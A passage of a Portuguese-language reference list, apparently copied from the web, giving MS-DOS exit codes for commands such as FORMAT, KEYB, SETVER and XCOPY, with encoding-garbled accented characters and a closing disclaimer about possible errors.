        eu aumento essa lista. 



        -> MSBACKUP

           0 - Normal

           1 - Nenhum arquivo foi copiado

           2 - Conflito de partilhamento de arquivos

           3 - CTRL+BREAK foi pressionado

           4 - Erro



        -> DISKCOMP

           0 - Normal

           1 - Os disquetes eram incompar veis

           2 - CTRL+BREAK pressionado

           3 - Erro de hardware

           4 - Erro de inicializaÆo



        -> DISKCOPY

           0 - Normal

           1 - Erro de leitura/gravaÆo

           2 - CTRL+BREAK pressionado

           3 - Erro de hardware

           4 - Erro de inicializaÆo



        -> FORMAT

           0 - Normal

           2 - CTRL+BREAK foi pressionado

           4 - Erro

           5 - "N" foi pressionado quando perguntou se queria formatar o HD



        -> KEYB

           0 - Normal

           1 - Erro de sintaxe

           2 - Arquivo de teclado nÆo encontrado

           3 - Problema de mem¢ria

           4 - Erro no dispositivo CON

           5 - SolicitaÆo de c¢digo de p gina nÆo preparado

           6 - Tabela de traduÆo nÆo encontrada

           7 - VersÆo incorreta do DOS



        -> REPLACE

           0 - Normal

           1 - Arquivo fonte nÆo encontrado

           3 - Path do arquivo fonte nÆo encontrado

           5 - Acesso negado

           8 - Mem¢ria insuficiente

           11 - Erro de sintaxe

           15 - Unidade de disco inexistente

           22 - VersÆo incorreta do DOS



        -> RESTORE

           0 - Normal

           1 - Nenhum arquivo encontrado

           2 - Conflito de partilhamento de arquivos

           3 - CTRL+BREAK pressionado

           4 - Erro



        -> SETVER

           0 - Normal

           1 - Parmetro desconhecido

           2 - Nome de arquivo desconhecido

           3 - Falta de mem¢ria

           4 - VersÆo do DOS errada

           5 - Entrada do programa nÆo foi encontrada

           6 - Sistema DOS nÆo foi encontrado

           7 - Unidade de disco inv lida

           8 - Excesso de parmetros

           9 - Faltam parmetros

           10 - Erro lendo MSDOS.SYS

           11 - Tabela de versÆo est  corrompida

           12 - Arquivos de sistema DOS nÆo suportam as tabelas de versÆo

           13 - NÆo h  espao dispon¡vel na tabela de versÆo

           14 - Erro gravando MSDOS.SYS



        -> XCOPY

           0 - Normal

           1 - Nenhum arquivo encontrado

           2 - CTRL+BREAK pressionado

           4 - Erro de inicializaÆo

           5 - Erro de gravaÆo/disco protegido



        -> FIND

           0 - Normal, o comando encontrou a string especificada

           0 e 1 ao mesmo tempo - A string nÆo foi encontrada


Este texto foi extraido de uma das minhas navegaçoes na internet por isso nao sou responsavel por qualquer erro que possa ter ai .